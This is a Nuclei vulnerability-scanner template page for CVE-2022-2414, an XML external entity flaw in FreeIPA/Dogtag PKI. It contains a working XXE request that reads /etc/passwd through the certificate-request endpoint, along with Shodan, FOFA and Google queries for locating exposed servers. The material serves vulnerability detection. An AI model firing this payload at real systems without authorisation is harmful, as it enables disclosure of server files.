Skip to content
Nuclei Templates

FreeIPA - XML Entity Injection

ID: CVE-2022-2414

Severity: high

Author: DhiyaneshDk

Tags: cve,cve2022,dogtag,freeipa,xxe,dogtagpki

Description

Section titled “Description”

Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.

YAML Source

Section titled “YAML Source”
id: CVE-2022-2414


info:
  name: FreeIPA - XML Entity Injection
  author: DhiyaneshDk
  severity: high
  description: |
    Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to fix the XML Entity Injection vulnerability in FreeIPA.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/Dogtag/Dogtag%20PKI%20XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-2414.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2414
    - https://github.com/dogtagpki/pki/pull/4021
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-2414
    cwe-id: CWE-611
    epss-score: 0.01256
    epss-percentile: 0.84092
    cpe: cpe:2.3:a:dogtagpki:dogtagpki:10.5.18:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dogtagpki
    product: dogtagpki
    shodan-query:
      - title:"Identity Management" html:"FreeIPA"
      - http.title:"identity management" html:"freeipa"
    fofa-query:
      - title="Identity Management"
      - title="identity management"
      - title="identity management" html:"freeipa"
    google-query: intitle:"identity management" html:"freeipa"
  tags: cve,cve2022,dogtag,freeipa,xxe,dogtagpki


http:
  - raw:
      - |
        POST /ca/rest/certrequests HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml


        <!--?xml version="1.0" ?-->
        <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
        <CertEnrollmentRequest>
          <Attributes/>
          <ProfileID>&ent;</ProfileID>
        </CertEnrollmentRequest>


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: word
        part: body
        words:
          - "PKIException"


      - type: word
        part: header
        words:
          - "application/xml"


      - type: status
        status:
          - 400
# digest: 4b0a00483046022100a6228fe74217ce8bb723db1a6bc5d5622208ea328284d82c284fdf012d22087802210080baf4608241b0a4876e5522be23fd1a93bffd67149d23d280f5aca613e63ac3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2414.yaml"

View on Github